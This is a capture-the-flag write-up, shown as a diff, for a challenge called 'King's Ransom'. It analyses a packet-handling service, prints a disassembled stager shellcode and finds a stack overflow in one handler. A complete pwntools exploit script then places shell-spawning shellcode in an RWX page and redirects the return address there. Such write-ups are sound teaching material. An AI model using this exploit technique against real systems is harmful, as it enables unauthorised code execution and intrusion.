|
| 1 | +## King's Ransom |
| 2 | + |
| 3 | +### Background |
| 4 | + |
| 5 | +> A vulnerable service with your "bank account" information running on the target system. Too bad it has already been exploited by a piece of ransomware. The ransomware took over the target, encrypted some files on the file system, and resumed the executive loop. |
| 6 | +> |
| 7 | +> Follow the footsteps. |
| 8 | +
|
| 9 | +We are provided with two files: challenge binary and libc.so. |
| 10 | + |
| 11 | +### Analysis |
| 12 | + |
| 13 | +The background information gives us an important detail: this is a vulnerable service that can be exploited. We need to first find a way to exploit the service ourselves, then we can figure out what the attacker did post-exploitation. |
| 14 | + |
| 15 | +The main loops reads in a packet of data then calls a function pointer based on fields in the packet. The packet format is: |
| 16 | + |
| 17 | +``` |
| 18 | +struct pkt { |
| 19 | + uint8_t magic0; |
| 20 | + uint8_t magic1; |
| 21 | + uint16_t length; |
| 22 | + uint16_t cksum; |
| 23 | + uint8_t fn0; |
| 24 | + uint8_t fn1; |
| 25 | + uint8_t data[]; |
| 26 | +} |
| 27 | +``` |
| 28 | + |
| 29 | +The `fn0` and `fn1` fields determine which function pointer is called from the table. The 4x4 table contains 16 function pointers, which are set using `set_fn` at `0x4015DB`. By looking at cross references to the table and to `set_fn`, we find that there are 8 possible functions: `fn_0_0`, `fn_1_0`, `fn_1_1`, `fn_2_0`, `fn_2_1`, `fn_3_0`, `fn_3_3`, and `fn_default`. |
| 30 | + |
| 31 | +Packets are created by `encode_data` at `0x40139B` and are parsed by `decode_data` at `0x401445`. We also see that there is a function that reads in two flags (flag1.txt and bank/flag2.txt) and runs `fn_2_1` on the each flag. |
| 32 | + |
| 33 | +`fn_2_0` reads data from a global buffer that was mapped at `0x12800000` with RWX permissions. `fn_2_1` writes data to the same global buffer. For example, the function that read in the two flags stored them in the global buffer at indices 0 and 32, respectively. |
| 34 | + |
| 35 | +If we read from the global buffer using `fn_2_0`, instead of flags, we get back binary data that looks suspiciously like shellcode: |
| 36 | + |
| 37 | +``` |
| 38 | +0x0000000000000000: F3 0F 1E FA endbr64 |
| 39 | +0x0000000000000004: 55 push rbp |
| 40 | +0x0000000000000005: 48 89 E5 mov rbp, rsp |
| 41 | +0x0000000000000008: 48 83 EC 30 sub rsp, 0x30 |
| 42 | +0x000000000000000c: B8 40 40 40 00 mov eax, 0x404040 |
| 43 | +0x0000000000000011: 48 8B 00 mov rax, qword ptr [rax] |
| 44 | +0x0000000000000014: 48 89 45 F8 mov qword ptr [rbp - 8], rax |
| 45 | +0x0000000000000018: BA 30 11 11 00 mov edx, 0x111130 |
| 46 | +0x000000000000001d: 48 8B 45 F8 mov rax, qword ptr [rbp - 8] |
| 47 | +0x0000000000000021: 48 29 D0 sub rax, rdx |
| 48 | +0x0000000000000024: 48 89 45 F0 mov qword ptr [rbp - 0x10], rax |
| 49 | +0x0000000000000028: 48 8B 45 F8 mov rax, qword ptr [rbp - 8] |
| 50 | +0x000000000000002c: 48 89 45 E8 mov qword ptr [rbp - 0x18], rax |
| 51 | +0x0000000000000030: BA 20 BA 11 00 mov edx, 0x11ba20 |
| 52 | +0x0000000000000035: 48 8B 45 F0 mov rax, qword ptr [rbp - 0x10] |
| 53 | +0x0000000000000039: 48 01 D0 add rax, rdx |
| 54 | +0x000000000000003c: 48 89 45 E0 mov qword ptr [rbp - 0x20], rax |
| 55 | +0x0000000000000040: 48 8B 45 E0 mov rax, qword ptr [rbp - 0x20] |
| 56 | +0x0000000000000044: 41 B9 00 00 00 00 mov r9d, 0 |
| 57 | +0x000000000000004a: 41 B8 00 00 00 00 mov r8d, 0 |
| 58 | +0x0000000000000050: B9 22 00 00 00 mov ecx, 0x22 |
| 59 | +0x0000000000000055: BA 07 00 00 00 mov edx, 7 |
| 60 | +0x000000000000005a: BE 00 10 00 00 mov esi, 0x1000 |
| 61 | +0x000000000000005f: BF 00 00 00 00 mov edi, 0 |
| 62 | +0x0000000000000064: FF D0 call rax |
| 63 | +0x0000000000000066: 48 89 45 D8 mov qword ptr [rbp - 0x28], rax |
| 64 | +0x000000000000006a: 48 C7 45 D0 00 00 00 00 mov qword ptr [rbp - 0x30], 0 |
| 65 | +0x0000000000000072: 48 8D 45 D0 lea rax, [rbp - 0x30] |
| 66 | +0x0000000000000076: 48 8B 4D E8 mov rcx, qword ptr [rbp - 0x18] |
| 67 | +0x000000000000007a: BA 04 00 00 00 mov edx, 4 |
| 68 | +0x000000000000007f: 48 89 C6 mov rsi, rax |
| 69 | +0x0000000000000082: BF 00 00 00 00 mov edi, 0 |
| 70 | +0x0000000000000087: FF D1 call rcx |
| 71 | +0x0000000000000089: 48 8B 55 D0 mov rdx, qword ptr [rbp - 0x30] |
| 72 | +0x000000000000008d: 48 8B 45 D8 mov rax, qword ptr [rbp - 0x28] |
| 73 | +0x0000000000000091: 48 8B 4D E8 mov rcx, qword ptr [rbp - 0x18] |
| 74 | +0x0000000000000095: 48 89 C6 mov rsi, rax |
| 75 | +0x0000000000000098: BF 00 00 00 00 mov edi, 0 |
| 76 | +0x000000000000009d: FF D1 call rcx |
| 77 | +0x000000000000009f: 48 8B 45 D8 mov rax, qword ptr [rbp - 0x28] |
| 78 | +0x00000000000000a3: FF D0 call rax |
| 79 | +0x00000000000000a5: C9 leave |
| 80 | +0x00000000000000a6: C3 ret |
| 81 | +``` |
| 82 | + |
| 83 | +This shellcode reads the GOT entry for `read` and uses it to figure the base address of `libc.so` which was provided to us. The shellcode does not give us very much information since it is a stager that allocates another RWX memory page, reads in additional shellcode, and executes it. |
| 84 | + |
| 85 | +While the shellcode is a dead-end for now, it does tell us that there should be a vulnerability that allows us to execute shellcode at address `0x12800000`. |
| 86 | + |
| 87 | +### Solution |
| 88 | + |
| 89 | +After looking through each of the functions that we can run, we notice that the `decode_data` function will blindly copy data into the destination buffer. While this function is usually called by a wrapper function that uses `malloc` to allocate a large enough buffer, `fn_1_1` calls it directly. |
| 90 | + |
| 91 | +``` |
| 92 | +int __fastcall fn_1_1(pkt_t *a1) |
| 93 | +{ |
| 94 | + int v1; // xmm0_4 |
| 95 | + int v2; // xmm0_4 |
| 96 | + int v3; // xmm0_4 |
| 97 | + int v5[3]; // [rsp+14h] [rbp-Ch] BYREF |
| 98 | +
|
| 99 | + decode_data(a1, v5); |
| 100 | + *(float *)&v1 = 0.01 * *(float *)v5 + *(float *)&dword_404090; |
| 101 | + dword_404090 = v1; |
| 102 | + *(float *)&v2 = 0.01 * *(float *)&v5[1] + *(float *)&dword_404094; |
| 103 | + dword_404094 = v2; |
| 104 | + *(float *)&v3 = 0.01 * *(float *)&v5[2] + *(float *)&dword_404098; |
| 105 | + dword_404098 = v3; |
| 106 | + return 1; |
| 107 | +} |
| 108 | +``` |
| 109 | + |
| 110 | +If we send a packet with a large amount of data, it will overflow the `v5` stack array and we can control the return address. |
| 111 | + |
| 112 | +Exploitation is very simple. First we store some shellcode on the RWX page using `fn_2_1`. Then we run `fn_1_1` and overflow the stack buffer. We can use pwntools to build shellcode that gives us shell: |
| 113 | + |
| 114 | +``` |
| 115 | +from pwn import * |
| 116 | +context.arch = 'amd64' |
| 117 | +r = remote('wealthy-rock.satellitesabove.me', 5010) |
| 118 | +
|
| 119 | +r.recvuntil('Ticket please:\n') |
| 120 | +r.sendline('ticket{...}') |
| 121 | +
|
| 122 | +r.recvuntil('Starting up Service on tcp:') |
| 123 | +host, port = r.recvuntil(b'\n').strip().split(b':') |
| 124 | +
|
| 125 | +r2 = remote(host, int(port)) |
| 126 | +
|
| 127 | +def cksum(s): |
| 128 | + x = 0x1d0f |
| 129 | + for c in s: |
| 130 | + x ^= c << 8 |
| 131 | + for n in range(8): |
| 132 | + if x & 0x8000: |
| 133 | + x = (2 * x) ^ 0xa02b |
| 134 | + else: |
| 135 | + x = 2 * x |
| 136 | + return x & 0xffff |
| 137 | +
|
| 138 | +fn0 = 2 |
| 139 | +fn1 = 1 |
| 140 | +data = p16(0) + p16(64) + asm(shellcraft.amd64.linux.sh()) |
| 141 | +r2.send(p8(0x55) + p8(0xaa) + p16(len(data)) + p16(cksum(data)) + p8(fn0) + p8(fn1) + data) |
| 142 | +
|
| 143 | +fn0 = 1 |
| 144 | +fn1 = 1 |
| 145 | +data = b'A' * 12 + p64(0) + p64(0x12800000) |
| 146 | +r2.send(p8(0x55) + p8(0xaa) + p16(len(data)) + p16(cksum(data)) + p8(fn0) + p8(fn1) + data) |
| 147 | +r2.interactive() |
| 148 | +``` |
| 149 | + |
| 150 | +Once we have a shell, we can `cat flag1.txt` and get the flag. |
0 commit comments